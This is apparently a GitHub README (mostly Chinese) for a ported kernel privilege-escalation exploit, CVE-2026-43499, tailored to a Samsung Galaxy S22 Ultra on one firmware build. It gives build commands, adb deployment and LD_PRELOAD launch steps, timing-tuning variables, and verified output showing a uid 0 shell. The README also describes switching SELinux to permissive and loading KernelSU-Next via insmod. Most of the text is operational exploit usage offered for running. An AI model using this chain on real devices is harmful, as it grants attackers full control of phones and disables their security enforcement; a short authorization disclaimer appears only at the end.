https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() | ![]() |
![]() | ![]() |
本仓库包含 CVE-2026-43499 漏洞利用针对三星 Galaxy S22 Ultra(SM-S908W)的设备专属移植版本。
Device: Samsung Galaxy S22 Ultra (SM-S908W)
Codename: b0q
Android: 15 / SDK 35
Build number: AP3A.240905.015.A2.S908WVLS8FYG7
Build display ID: AP3A.240905.015.A2.S908WVLS8FYG7
Build fingerprint: samsung/b0qcsx/b0q:15/AP3A.240905.015.A2/S908WVLS8FYG7:user/release-keys
Kernel: 5.10.226-android12-9-30958166-abS908WVLS8FYG7
Architecture: aarch64
本仓库中的偏移量和结构体布局仅适用于上述固件。此目标配置不支持其他型号和固件版本。
本移植基于以下已发布的漏洞利用实现:
b850d3bddc74c3328d5fbcc0568d21962b55d949特别感谢:
上游的 Apache License 2.0 保留在 LICENSE 中。
b0q / S908WVLS8FYG7 目标偏移量(src/targets/S908WVLS8FYG7/target.h)及内核结构体布局。exp32 路线替代了 pselect 竞态:futex 编排、32 位栈标记及 sched_setattr 在嵌入式 32 位子阶段(src/exp32/)中运行。system_unbound_wq 用户态辅助程序(user-mode helper)提权路径,并将运行时 SELinux 强制执行目标更新为 selinux_state.enforcing。/data/local/tmp/cve-2026-43499-root 处新增了基于 socket 的 root 命令辅助程序。cve43499-hold 进程中,以防悬空的内核引用被回收进无关的 slab 对象。将 ANDROID_NDK_HOME 设置为 Android NDK r27 或更高版本(或兼容的工具链),然后运行:
make PROJECT=S908WVLS8FYG7 clean preload root-helper
要为运行 Android 内核且使用 Buildroot 文件系统的 QEMU 环境构建:
make USE_BUILDROOT=1 PROJECT=S908WVLS8FYG7 clean preload root-helper
构建产物:
build/S908WVLS8FYG7/bin/cve-2026-43499
build/S908WVLS8FYG7/bin/cve-2026-43499-root
build/S908WVLS8FYG7/bin/cve-exp32
adb push build/S908WVLS8FYG7/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/S908WVLS8FYG7/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb push build/S908WVLS8FYG7/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root /data/local/tmp/cve-exp32
执行漏洞利用阶段以启动 root 守护进程:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
成功后,可从设备上的任意位置弹出交互式 root shell:
adb shell "/data/local/tmp/cve-2026-43499-root"
或直接执行 root 命令:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
默认运行最多进行 16 次独立尝试。每次失败的子进程会在下一次尝试前退出,因此其文件描述符和堆整形(heap-shaping)分配会被释放,而不会累积在单个长驻的漏洞利用进程中。默认基础延迟为 20000 微秒,监管进程会将以下序列扫描两遍:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
在收集时序数据时,可覆盖尝试次数或基础延迟:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
在 S908WVLS8FYG7 上已验证的结果:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
交互式 root shell 会话:
b0q:/data/local/tmp $ ./cve-2026-43499-root
:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
:/ # getenforce
Permissive
初始阶段基于竞态。以 root=0 退出的子进程会被自动重试。执行成功后,将恢复 ashmem_misc.fops,把 SELinux 切换为 permissive 模式,并启动 root 辅助守护进程,直到下次重启。
上述漏洞利用仅在当前启动周期内持有 root 权限。若要在本次会话剩余时间内获得 Manager 应用和 su 风格的控制权限,请通过 root 辅助程序将 KernelSU-Next 作为后期加载的内核模块加载。
从 v3.3.0-android12-5.10 下载两个发布资源:
KernelSU_Next_v3.3.0-release.apk — Manager 应用kernelsu-android12-5.10.ko — LKM 内核模块安装 Manager APK:
adb install KernelSU_Next_v3.3.0-release.apk
adb push kernelsu-android12-5.10.ko /data/local/tmp/kernelsu-android12-5.10.ko
adb shell "/data/local/tmp/cve-2026-43499-root -c 'insmod /data/local/tmp/kernelsu-android12-5.10.ko'"
ksud soft-reboot 功能。由于这是后期加载的 LKM(而非打过补丁的 boot 镜像),它无法在重启后存续——每次设备重启后,你都需要重新运行漏洞利用并重新 insmod 该模块。
[!WARNING] 可靠性与内核崩溃(Kernel Panic)提示: 竞态阶段对时序非常敏感,目前并不可靠——在大多数运行中可能会失败或导致内核崩溃。请保持耐心,干净启动(clean boot)的成功率更高。未来可能会发布优化版本以提高可靠性。
[!TIP] 稳定性与成功率建议:
- 重启设备:为获得最高成功率,请在运行漏洞利用前重启设备,以确保 slab/堆处于干净状态。
- 关闭后台应用:确保所有后台应用均已关闭。
- 解锁屏幕并保持闲置:在漏洞利用运行期间保持设备解锁,不要操作或使用手机,因为活跃的用户输入/后台任务可能干扰时序,并可能触发内核崩溃。
仅可在您拥有或已获明确授权测试的设备上使用。